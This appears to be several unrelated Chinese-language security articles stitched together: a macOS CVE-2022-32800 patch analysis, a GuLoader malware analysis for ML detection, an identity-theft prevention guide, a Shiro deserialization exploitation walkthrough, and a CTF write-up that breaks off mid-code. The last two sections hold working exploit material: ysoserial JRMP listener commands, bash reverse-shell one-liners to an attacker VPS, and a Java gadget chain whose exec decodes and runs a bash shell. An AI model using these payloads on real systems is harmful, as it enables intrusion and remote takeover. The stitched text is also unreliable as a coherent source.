但是,如果安裝目標是DMG(磁盤映像)卷,則根本不限制“Sandbox Repository”。 “SandboxState”文件也是如此。因此,我們可以製作一個特製的“SandboxState”文件,在反序列化過程中劫持新的“PKInstallSandbox”實例。然後可以控制“PKInstallSandbox”實例的所有成員變量。

漏洞利用有不同的方法可以利用這個漏洞。例如,在下圖中,我們劫持了成員“_cleanupPaths”,以獲取一個原語來刪除任意的SIP保護路徑。

安裝完成後,無論是否成功,它都將調用“-[PKInstallSandboxManager_removeSandbox:]”函數刪除沙盒,並刪除“_cleanupPaths”成員指定的所有文件和文件夾。

14.png

“_removeSandbox”函數的實現

該漏洞的完整概念證明可以在GitHub找到,演示視頻可以在此查看。

蘋果CVE-2022-32800的補丁

蘋果在macOS 12.5中修復了這一安全漏洞。

補丁位於“-[PKInstallSandboxManager _sandboxAtPath:matchingRequest:forUse:]”函數中:

15.png

CVE-2022-32800補丁

正如我們在第38行檢查中看到的,它在內部調用“PKSIPFullyProtectedPath”函數:

16.png

“PKSIPFullyProtectedPath”函數的實現

對於Apple簽名的軟件包,“SandboxState”文件需要受信任或限制。

安全建議為了成功地保護系統免受漏洞攻擊,用戶必須定期更新其操作系統。定期應用安全補丁將阻止攻擊者利用漏洞提升權限並發起惡意攻擊。關於此處討論的漏洞,CVE-2022-22583於2022年1月修補,CVE-2022 2-32800於2022年7月修補。

最終用戶可以受益於安全解決方案,如趨勢科技Mac版防病毒軟件和趨勢科技防護套件,它們有助於檢測和阻止利用此類漏洞的攻擊。

Unit 42研究人員討論了基於虛擬機監控程序的沙盒中基於內存的工件構建的機器學習渠道,該沙盒是Advanced WildFire的一部分。可以提高對惡意軟件的檢測精度。

正如我們以前所介紹的,惡意軟件開發者正在不斷完善他們的攻擊手段,以使靜態分析和沙盒等策略失效。封裝方法和沙盒逃避等技術的不斷發展讓防御者防不勝防。

更糟糕的是,流行的檢測技術,如結構分析、靜態簽名和許多類型的動態分析,並不能很好地應對目前越來越複雜的攻擊。

惡意軟件開發者越來越多地採用逃避技術,如混淆、封裝和在進程內存中執行動態注入的shellcode。使用來自文件結構的線索進行惡意軟件檢測可能並不總是成功的。封裝技術可以充分修改文件結構以消除這些線索。因此,僅在這類特徵上訓練的機器學習模型將無法有效地檢測出此類樣本。

這種檢測方法的另一種流行的替代方法是使用機器學習模型,該模型基於惡意軟件在沙盒內的執行痕跡來預測惡意行為。然而,正如我們原來所詳細介紹的那樣,沙盒逃避非常普遍,有效負載通常會根據任何數量的線索選擇不執行,這些線索會指向正在模擬的樣本。

惡意軟件也可能會無意或有意地破壞沙盒環境,覆蓋日誌文件,或由於其所使用的低級技巧而阻止成功分析。這意味著,在執行日誌上訓練機器學習模型也不足以捕捉這些逃避類的惡意軟件。

使用NSIS Crypter加密的GuLoader惡意軟件在這篇文章中,我們將分析一個使用Nullsoft Scriptable Install System(NSIS)加密器加密的GuLoader下載器。 NSIS是一個用於創建Windows安裝程序的開源系統。

Hashcc6860e4ee37795693ac0ffe0516a63b9e29afe9af0bd859796f8ebaac5b6a8c

為什麼靜態分析沒有幫助GuLoader惡意軟件是加密的,它也是通過NSIS安裝文件傳遞的,這對於靜態分析來說並不理想,因為必須首先解壓縮文件內容。一旦它被解壓縮,我們仍然有加密的數據和一個NSIS腳本。腳本本身也會動態地解密代碼的某些部分,這是使其難以檢測的另一個因素。

然而,沒有太多的結構線索可以識別這可能是惡意軟件。因此,在可移植可執行文件(PE)結構上訓練的機器學習模型將不能有效地將該文件與其他良性文件區分開來。

NSIS腳本和提取GuLoadershellcode要提取NSIS腳本,我們必須使用7-Zip的舊版本15.05。這個版本的7-Zip能夠解包腳本,而新版本已經刪除了解包NSIS腳本的功能。一旦我們提取了文件內容和NSIS腳本(如圖1所示),我們就可以開始分析腳本並查看GuLoader示例是如何執行的。

2.png

NSIS腳本

如果向下滾動腳本,我們會很快注意到文件正在復製到新創建的名為%APPDATA%\Farvelade\Skaermfeltet的文件夾中。雖然不清楚原因,但所使用的文件路徑似乎是丹麥語。在復制活動之後,腳本中有常規的安裝邏輯,但是有一個名為func_30的有趣函數。

在此函數被調用之前,字符串$INSTDIR\Filterposerne\Malkekvg. exeNat被複製到名為$4的字符串變量中,如圖2和圖3所示。函數func_30從Programmeludviklinger210中讀取數據。 Kon文件並構建代碼,它將在字符Z被看到後立即調用這些代碼。

NSIS允許開發人員能夠從Windows DLL調用任何導出的函數,並且還允許他們將結果直接保存在NSIS寄存器/堆棧中。此功能允許惡意軟件開發者在運行時動態調用Windows API函數,並使靜態分析更加困難,因為在分析之前必須對其進行評估。

3.png

調用函數func_30

4.png

解碼NSIS代碼

要解碼動態代碼,我們可以編寫一個簡短的Python腳本,該腳本再現行為並提取Windows API調用:

5.png

下圖顯示了上述腳本產生的解碼數據

6.png

解碼的Windows API調用

解碼後的函數一起從NSIS壓縮文件中的另一個文件中讀取shellcode,並使用EnumWindows函數執行它。如果我們必須用偽代碼編寫這個過程,它看起來應該是這樣的:

7.png

為了使其餘的分析更容易,我們將使用shellcode生成一個PE。為了生成可執行文件,我們可以使用Cerbero Profiler或LIEF Python庫等工具。

在本例中,我們使用了LIEF庫來構建一個新的可執行文件。我們所要做的就是添加一個包含Malkekvg.Nat文件內容的新部分,並將入口點設置為正確的偏移量。一旦我們得到了這些,就應該能夠在IDAPro中打開shellcode,並看到它包含有效的x86指令。

8.png

8.2.png

在IDA Pro的入口點生成PE文件

Shellcode分析現在我們在PE文件中有了Shellcode的第一階段,我們可以在動態分析中運行它,看看會發生什麼。我們將看到的第一件事是它檢測到虛擬機,並在顯示消息框後停止執行。此文本在運行時使用4字節XOR密鑰解密。

9.png

無法在虛擬環境中執行該示例

如果我們在IDA Pro中打開文件並稍微遵循代碼,就應該能夠看到用於解密第一階段的大函數。雖然函數圖概述看起來很大,但識別垃圾代碼仍然很容易。

進行解密的代碼如下圖所示。在下圖中,我們可以看到跳轉到第二階段的最終調用。此時,我們可以將第二階段轉儲到另一個可執行文件中進行解密。

我們可以直接從內存中轉儲可執行文件,但是必須確保將入口點修補到正確的地址(在本例中為0x404328)。

10.png

第一階段的Shellcode解密

11.png

調用到下一階段

第二階段使用了許多反分析技術,其中的一些反分析技術為:

內存掃描已知沙盒字符串;

虛擬機監控程序檢查;

時間測量;

為了獲得GuLoader正在下載的最終負載,我們必須手動繞過所有這些檢查,在不受所有這些技術影響的沙盒中運行它,或者在裸金屬沙盒上運行它。

提取有效負載信息為了在不分析第二階段的情況下獲得有效負載信息(包括所有字符串),我們可以使用Spamhaus描述的一個小技巧。 GuLoader使用簡單的XOR加密來加密其字符串,其中包括有效負載URL。

要解密字符串,我們可以對已經知道存在於第二階段中的模式使用暴力。 XOR運算的結果就密鑰。對此的唯一限制是模式必須足夠大,以便我們能夠完全解密有效負載URL。例如,一個好的模式可能是用戶代理字符串,默認設置為Mozilla/5.0(Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) ,如Gecko。

為了快速自動找到解密密鑰,我們必須首先加密一個短模式(例如,用戶代理字符串的前8個字節),然後搜索該結果是否在文件中的某個位置。如果它在文件中的某個位置,那麼我們可以繼續解密剩餘的模式以獲得完整的加密密鑰。

我們會在本文的最後附上Python腳本,該腳本能夠通過上述方法從有效負載中找到加密密鑰。在任何轉儲的第二階段GuLoader負載上運行腳本後,我們應該能夠看到一些字符串和負載URL。

GuLoader有時在有效負載URL前麵包含7到8個隨機字符,它在運行時將其替換為http://或https://。使用http還是https的區別是由隨機模式中的第四個字符決定的。

12.png

在此示例中,有效負載URL為http://ozd[.]com[.]ar/wp-includes/nHMoYlbGLWls101.qxd,並且在分析時有效載荷仍然在線。

最終下載的有效負載來自FormBook惡意軟件家族,其SHA256值為fa0b6404535c2b3953e2b571608729d15fb78435949037f13f05d1f5c1758173。

機器學習如何檢測?在之前的一篇文章中,我們詳細介紹了在實時沙盒運行期間可以從內存中提取的幾種可觀察工件。我們發現,當與機器學習結合使用多種逃避技術檢測惡意軟件時,來自內存分析的數據是非常強大的。

接下來我們回仔細觀察所有這些關於運行時內存中被修改的內容,並將它們與大規模的機器學習相結合,用於惡意軟件檢測。該算法可以自動找到模式,並且可以識別惡意軟件試圖在內存中隱藏其足跡、動態分配和執行shellcode或使用解包的共性。

在這個GuLoader示例中,人類分析人員會立即識別出有幾個獨特的函數指針。我們還會注意到,惡意軟件已經將其自身進程內存中的多個頁面的頁面權限更改為可寫和可執行。我們的機器學習模型能夠自動執行這些活動,從各種內存構件中提取有關特徵來檢測GuLoader示例。

如上所述,我們為Advanced WildFire創建的自動分析平台將以一種高性能的方式自動提取所有這些基於內存的工件。這意味著所有與動態解析函數指針、權限更改和解包可執行文件相關的信息都可以在我們手動管理的檢測邏輯中使用,也可以用於我們的機器學習渠道。

使用機器學習模式的檢測下圖顯示了我們如何創建一個機器學習模型渠道的高級視圖,該模型渠道是根據從上述基於內存的工件中提取的自定義特徵進行訓練的。我們選擇的特性被設計成保留來自冗長工件的最有用的信息。

我們還將惡意軟件執行跟踪作為額外的信息源,並構建了一個集成模型來檢測惡意樣本。如下圖所示,從四個內存工件和惡意軟件執行痕跡中自動提取各種自定義特徵,並將它們傳遞給一個分類模型以檢測惡意樣本。此外,我們還構建了一個集成模型,該模型基於內存工件和基於執行跟踪的特性進行訓練,以提高其性能。

13.png

機器學習模型架構

文件樣本由流程渠道處理,以將內存工件和其他惡意軟件屬性保存到功能存儲中。特徵提取階段使用流式處理和批處理PySpark作業的組合來生成用於訓練模型的最終特徵向量。

ground truth標籤來自一個單獨的渠道,該渠道根據惡意軟件特徵和研究人員輸入為樣本分配標籤。該渠道通過使用樣本首次出現的時間和哈希來生成非重疊的訓練和評估數據集。

解釋模型預測為了識別模型的局限性和能力,理解機器學習模型的預測是至關重要的。機器學習很容易出現誤報,因為它嚴重依賴於訓練數據的質量和多樣性,以及對不斷變化的文件進行預測的泛化能力。因此,具有識別預測的因果特徵的能力是非常有用的。

Shapley值Shapley加法解釋(SHAP)是一種博弈論方法,用於解釋任何機器學習模型的輸出。與基線預測相比,SHAP值解釋了每個特徵對輸入特徵向量的實際預測的影響。在下圖中,從右到左的紅色特徵是將模型推向惡意預測的最頂層特徵。從左到右,藍色的特徵表示降低預測為惡意軟件概率的最頂層特徵。

15.png

如上圖所示,我們繪製了具有重要SHAP值的前七個特徵及其相應原始特徵值的力圖。由於這些頂級特徵的存在,我們的機器學習模型能夠檢測到GuLoader。這些特性對應於幾個特定的動態解析API指針及其在內存中的相對位置,以及樣本所做的內存頁權限更改的相對類型。

通過聚類尋找相似樣本另一種理解模型預測的方法是在訓練數據集中識別相似的樣本。我們使用基於密度的掃描(DBScan)作為聚類技術,如下圖所示,因為它允許異常值和不同形狀的聚類。

16.png

基於DBSCAN的集群

總結GuLoader家族是unit42開發的機器學習模型檢測惡意軟件的一個很好的示例,因為GuLoader使用沙盒逃避和靜態防護,使得傳統防禦很難單獨使用結構線索和執行日誌進行檢測。

在Advanced WildFire中,開發人員引入了一個基於虛擬機監控程序的沙盒,它可以在執行期間暗中觀察GuLoader的內存,以解析有意義的內存駐留工件和對機器學習檢測渠道有用的信息。這允許安全防護人員使用從觀察到的基於內存的工件中提取的特徵來準確地檢測惡意行為。

微信截图_20230204153840.png

在當今的數字世界中,身份盜竊是一個日益嚴重的問題。隨著網上的個人信息越來越多,我們很難保護自己不受惡意行為者的傷害,他們可能會出於惡意目的使用我們的數據。

雖然這似乎是一個難以解決的問題,但下述20步指南將教你如何防止身份盜竊,讓你擁有保持安全並保護個人數據所需的知識。

什麼是身份盜竊?長話短說,身份盜竊是指非法使用某人的個人信息。

美國司法部解釋稱,身份盜竊是指犯罪分子利用他人的個人身份信息(PII)進行詐騙,來獲取非法經濟利益。身份盜竊有很多種方式,包括黑客攻擊、金融和社交媒體賬戶收購、信用卡欺詐、網絡釣魚,甚至是勒索軟件攻擊。

當網絡罪犯實施身份欺詐時,他們可能會使用偷來的身份:

開設新賬戶或信用額度;

用偷來的保險信息接受醫療救助;

竊取退稅;

在逮捕事件中提供你的個人證件(姓名、出生日期、地址等)。

2021年,傳統的身份欺詐損失,即涉及任何使用消費者個人信息來獲得非法經濟利益的損失,高達240億美元,致使1500萬美國消費者陷入困境。涉及身份欺詐的損失(與受害者直接接觸)總計280億美元,影響了美國2700萬消費者。

身份盜竊的類型身份盜竊有許多不同類型,每一種都可能是毀滅性的。以下是一些最常見的類型:

金融身份盜竊:指有人使用你的個人信息以你的名義開設新賬戶,並負債累累。這會毀了你的信用評分,讓你背負很多債務;

醫療身份盜竊:指有人使用你的保險信息來獲得醫療或處方藥。這可能會導致你在保險上的虛假索賠,更高的保費,甚至被保險公司拒絕承保;

稅務身份盜竊:當有人使用你的個人信息以你的名義提交納稅申報單並要求退款時,就會發生這種情況。這可能會導致你欠國稅局或州稅務機構的錢,可能需要幾個月甚至幾年的時間來解決這個問題;

犯罪身份盜竊:指有人利用你的個人信息以你的名義犯罪。這可能會導致逮捕和監禁,即使你自己實際上沒有犯過任何罪;

兒童身份盜竊:指有人竊取兒童的個人信息供自己使用。兒童的身份經常被用於金融欺詐或其他犯罪,因為他們通常有良好的信用記錄。這可能會對孩子未來的財務狀況和社會福利產生重大影響。

身份盜竊的警告信號有幾個關鍵的警告信號可以表明你的身份被竊取了。如果你看到以下任何一個危險信號,是時候採取行動保護你的身份和財務了:

收到不認識的賬戶的賬單或收款通知;

銀行賬戶出現不明原因的提款;

接到來自企業的電話或信件,詢問你沒有購買的產品或服務;

信用報告上有新賬戶或貸款,但你並沒有開設;

被拒絕申請信貸或貸款,因為你的信用報告上的信息似乎不正確;

如果你懷疑自己的身份被盜了,第一步是聯繫信用機構,並在你的檔案上發布欺詐警報。你還應該聯繫你的金融機構,以及任何你認為小偷可能會以你的名義開設新賬戶的企業。通過採取這些步驟,你可以保護自己免受進一步的傷害,並開始找回自我的過程。

如何防止身份盜竊?正如Bruce Schneier所言,“身份盜竊是信息時代的新型犯罪活動。犯罪分子收集了足夠多的個人數據,用來向銀行、信用卡公司和其他金融機構冒充受害者。然後他會以受害者的名義貸款,收了錢,就消失掉,受害者只能背黑鍋。雖然部分損失由金融機構——尤其是信用卡公司——承擔,但信用評級方面的損失則由受害者承擔。受害者可能需要數年時間才能為自己正名。”

一旦發生身份盜竊,要想恢復網絡罪犯竊取的信息是極其困難的。很多時候,你甚至不知道它是如何或何時發生的。

這就是為什麼採取積極主動的安全措施總是更好的,這將防止騙子竊取你的個人詳細信息和信息。謹慎行事總是好的,而不是在傷害已經造成、無法控制時才做出反應。

保護您的身份免受在線威脅(網絡層面)

1. 為你的網上帳戶選擇一個合適的密碼最重要的步驟之一是:始終確保你的密碼是強大的和唯一的。長度在15個字符左右,使用大寫字母和小寫字母,以及數字和符號;不要使用你的出生日期、電話號碼、社會保險號、家庭成員的名字或你寵物的名字,這些很容易被攻擊者猜到,通常只需要看看你的社交資料。

此外,不要在不同的賬戶之間重複使用密碼。如果您在所有地方都使用相同的密碼,攻擊者將能夠訪問您的所有其他帳戶。

但如果我們創建了非常多的在線賬戶,我們到底該怎麼做呢?

首先,不要把它們寫下來!不要寫在你桌子上的紙上,不要寫在電子郵件草稿裡,也不要寫在你桌面上的文本文件裡。這些都是不安全的地點。相反地,您可以開始使用密碼管理器。它會記住你所有的密碼,並以安全的方式存儲它們。另一個關鍵的安全步驟是在任何可用的地方激活雙因素或多因素身份驗證。

2. 不要在網上發布機密信息在發布關於你的信息之前要三思。我們在網上發布的所有內容都將保留在那裡,每個想看的人都可以看到。儘管我們願意認為我們可以控制自己的隱私,但事實是我們永遠無法確定誰在監視我們。我們永遠都不知道這些信息會到哪裡去。即使我們採取了所有可能的安全措施,我們仍然依賴於其他服務和系統,這些服務和系統可能並不像他們聲稱的那麼安全。

這就是為什麼我們要關注我們放在評論、私人信息、帖子、簽到、照片或其他我們在網上顯示的任何東西中的所有數據是很重要的。這裡的“在線”指的是博客、社交網絡(Twitter、Facebook、LinkedIn、Instagram等)上的帖子、照片、簽到或評論,也包括AirBnB、TripAdvisor、Booking等網站。

3.小心網絡釣魚詐騙網絡釣魚是最古老的網絡威脅之一,但它仍然會造成很大的損害。攻擊者不斷改進他們的技術和欺詐方法。主要的網絡釣魚計劃和活動出現在:

網上購物;

查看電子郵件帳戶;

訪問社交媒體網絡;

雖然網絡釣魚使用多種渠道獲取我們的證書,但垃圾郵件攻擊仍然是主要的成功方法。

4.網上購物要謹慎

網絡購物已經變得非常方便,我們有更多的選擇,可以在一個地方,一次點擊即可完成操作,節省了我們大量的時間和金錢。

在網上購物時,最重要的是要確保你在一個合法的網站上。以下是如何確保你不會將財務信息發送給網絡罪犯的方法:

從知名、可信的網站購物;這將減少任何不愉快的意外的可能性;

檢查連接是否加密。您可以通過查看地址欄來做到這一點:是否有一個綠色鎖的圖標?地址開頭是“https”而不是“http”嗎?

另外,確保在線支付時激活二次認證因素。在下單前,您將在手機上收到最終識別碼;

最安全的方法是只在網上購物時使用一張單獨的卡。只有在你想買東西的時候才把錢轉到上面,否則就以低金額保存它。這樣,萬一有什麼不好的事情發生,你仍然有一個安全網。

5.保護您的瀏覽器設置我們的瀏覽器是連接網站的主要工具。因此,需要對它給予高度重視。確保您使用的是包含所有可用安全補丁的最新瀏覽器版本。

沒有所謂的免費程序,所以確保你在下載之前通過快速的網絡搜索仔細檢查免費程序的安全性和合法性。

如果從公共計算機連接,請使用私人瀏覽會話,您一定不希望本地記錄您的瀏覽歷史詳細信息。

為了確保你的連接是安全的,你可以使用VPN軟件或Tor瀏覽器加密它,以隱藏你的瀏覽活動。

6.使用多種安全產品保護您的計算機身份竊賊會使用多種工具獲取你的個人數據。我們這裡不是在談論普通的病毒,我們指的是高級惡意軟件和間諜軟件工具,如鍵盤記錄器,漏洞利用工具包和遠程管理工具。它們能夠在您不知情的情況下從系統中檢索敏感信息。

高級惡意軟件旨在逃避普通的反病毒檢測。有時要過很長一段時間你才能意識到它的存在。這就是必須配置一個好的殺毒軟件的原因。它能夠最大限度地減少你清理惡意軟件攻擊造成的混亂的時間。

此外,為了確保銀行業務的金融安全,並防範零日惡意軟件,您還需要先進的掃描技術,可以保護您免受最新的威脅。

7.保持系統和軟件更新用最新的安全補丁更新您的系統。對於易受攻擊的應用程序和程序,應該做同樣的事情。如果你不想每天檢查和更新這些應用程序,你也可以使用專門的解決方案來自動完成這項工作。

保護您的身份免受人身威脅(物理層面)以下步驟旨在解決物理盜竊企圖,因為它們可以造成和在線威脅一樣大的破壞。

8.誰在監視你?當你站在自動取款機前或當地的商店,試圖取一些錢或只是輸入你的密碼來支付時,在鍵入敏感數據之前,請確保你周圍沒有人可以看到你的信息。即使你沒有看到周圍的人,也可能有特殊的監控機制,所以為了確保你的安全,盡量隱藏你鍵入的數字。

9.你帶了什麼?在你離開家之前,花點時間考慮一下該帶哪些東西。只帶必要的物品,可以減少潛在的損失。 此外:

不要把你的包放在無人看管的公共場所或遠離你的地方。

不要把你的錢包隨便亂放,給小偷製造機會。

考慮分散竊賊的注意力。你可以帶一個假錢包,或者乾脆不把重要的東西放在包裡,因為這些東西可能會被偷。把重要的東西放在身邊。

10.銷毀不再需要的文件我們習慣把重要數據放在家裡。這些信息可能是你過去工作的地方、醫療記錄、證書和文憑,甚至可能是與你工作有關的機密信息。

我們都有收集各種文件和信息的傾向。其中一些我們可能不再需要了,比如收據或銀行對賬單。雖然我們可能不再需要這些數據,但這對騙子來說,可能仍是可以利用的重要元素。

因此,在你扔掉那些文件之前一定要把它們銷毀,比如使用碎紙機,不要只是把它們放在垃圾桶裡。

11.保護好你的郵箱試著像身份竊賊一樣思考。當你需要找到個人信息,尤其是某人的財務細節時,你會考慮從何處入手?

最簡單的方法是從那些保護較少的區域開始,比如郵箱。想一下:

你在郵箱裡收到過什麼類型的信息?你收到銀行的重要文件了嗎,也許是一張新的信用卡?如果你這樣做了,你需要聯繫銀行,讓他們停止這種類型的通信。如果你有重要的東西需要收集,只要去銀行取就行了。

你收到每項服務的發票了嗎?也許這對你來說似乎不是太多的數據,但身份竊賊可以使用這些信息與其他來源相關聯,以了解你的財務狀況。通過電子郵件接收發票會更容易,因為今天大多數服務提供商都提供這種選擇。

你的郵箱保護得怎麼樣?如果任何人都可以訪問你的郵箱,而你又知道有重要的信息被發送到那裡,也許你應該在郵局設置一個高安全性的郵箱或私人郵箱。

12.你了解電話來源嗎?沒錯,身份竊賊可能會給你打電話,冒充銀行代理或官方代表,要求你提供私人細節或財務數據。

小偷是怎麼知道你的銀行的?好吧,記住前面的幾點。要獲得你的信息並不難。他們可能會查看你的郵箱,他們可能會在商店或自動取款機上看著你,甚至他們可能會翻看你的垃圾。發現這點信息並不難。

不要被他們使用的專業語氣所愚弄。切記不要在電話中提供重要信息,除非是你主動打電話的,而且你真的知道自己在和誰通話。

13.銷毀你的數字信息如今,我們都使用雲服務來存儲重要文件,無論是工作文件還是個人照片。

然而,隨著時間的推移,我們在CD/DVD或外部硬盤驅動器上收集了各種類型的信息。有時,我們不得不扔掉一個看似無法運行的硬盤,而忽略了我們留在上面的私人數據。

要了解廢棄磁盤中的信息對你的危害,只要想想你留在磁盤上的所有照片、文檔和私人詳細信息就可以了。使用特殊的工具和軟件,黑客可以從這些硬盤中輕鬆地檢索到所有信息,並使用它來對付你——即使你在扔掉它之前刪除了數據並進行了格式化。

為了確保對舊磁盤的不安全處理不會成為身份竊賊的機會,您需要確保已銷毀了該數據。有以下選項:

多次覆蓋數據,讓身份竊賊更難下手。你也可以使用專門的軟件來幫你做這件事;

物理上銷毀硬盤或CD/DVD;

你知道打印機和復印機也有內置硬盤嗎?所以,在移除硬盤之前,不要直接扔掉打印機。

14.保護好你的社會安全號碼這是保護你的身份不被小偷竊取的最重要的步驟之一,因為這條信息可以在多種情況下使用。 身份竊賊可以使用你的社會安全號碼申請新信用卡或開立銀行賬戶,要求貸款,甚至租房子。

它還可以用來在電話或在線上證明你的身份,以便訪問私人信息。這裡有一些保護它的技巧:

不要把它用作任何在線賬戶的密碼;

除非你真的需要,否則不要隨便帶著它;

不要通過電子郵件發送相關信息;

不要把它存儲在你的電腦、智能手機或云驅動器上。

15.確保智能手機安全現在我們可以用智能手機完成所有的操作,例如拍照、獲取信息、與朋友保持聯繫、訪問云存儲甚至進行金融交易。這成為我們最大的風險。想想看,一個人僅僅通過使用智能手機就能獲得多少信息。

你可以遵循以下幾個步驟,以確保你的智能手機數據不會落入壞人之手:

下載知名公司的應用程序,尤其是用於金融交易的應用程序;

使用強大的密碼來保護移動設備,或者更好的是,使用2種方法來保護它免受任何破壞。生物特徵認證,比如用你的指紋鎖定,可能被證明是最安全的;

使用最好的應用程序來保護你的智能手機,其中大多數都包含GPS功能和遠程清除機制。

16. 備份這裡不是指電腦備份,而是指備份某些東西,以防某些東西在某個時候丟失。讓我們試著回答幾個問題,這樣我們就可以弄清楚並找到解決方案:

你把所有的錢都存在一張信用卡上嗎?為什麼?至少用兩張卡,然後把錢分散存儲;

你出門的時候會把兩張卡片都帶在身上嗎?為什麼?就拿一個吧。或者至少不要把它們放在同一個地方。這樣,你就可以減少潛在的損失。

你需要在某個地方驗證你的身份嗎?好的,你可以隨身攜帶身份證明文件,但是不要把身份證、駕照和護照全部帶走。

你真的需要帶正式文件嗎?也許你可以用複印件代替。在任何情況下,確保你總是有所有重要文件的複印件,特別是在旅行時。

你有丟失公文或信用卡時可以求助的電話號碼嗎?

結語身份盜竊是一個嚴重的問題,會對受害者造成毀滅性的影響。我們希望本指南為您提供了必要的知識和工具,以幫助您保護自己免受身份盜竊。

保護您的個人信息安全應該是一項首要任務,所以記住要時刻留意任何可疑的事情,並在網上保護自己時採取積極主動的措施。只需採取一些簡單的步驟,比如鎖定你的賬戶,使用強密碼,警惕網絡釣魚詐騙,跟踪你的信用評分,就可以保護自己免受潛在的身份盜竊影響。現在採取這些預防措施將為你以後節省更多時間和金錢。

获取环境:

拉取镜像到本地

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

h35gsf3ziqd13275.png

2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 ugbjqz0koxh13280.png

image_wvD-c4KvV-.png

rljbahtodvh13285.jpg

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1


 rfc3iisi3kk13287.png

 

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

 

5、nc监听

yxbp4nctqjh13289.png

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 uvdg0t0uizm13291.png


7、执行成功,反弹shell

 bhzwsbvnada13293.png

 

 ucevzoxrqr313295.png

 gxekd55faok13297.png


web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
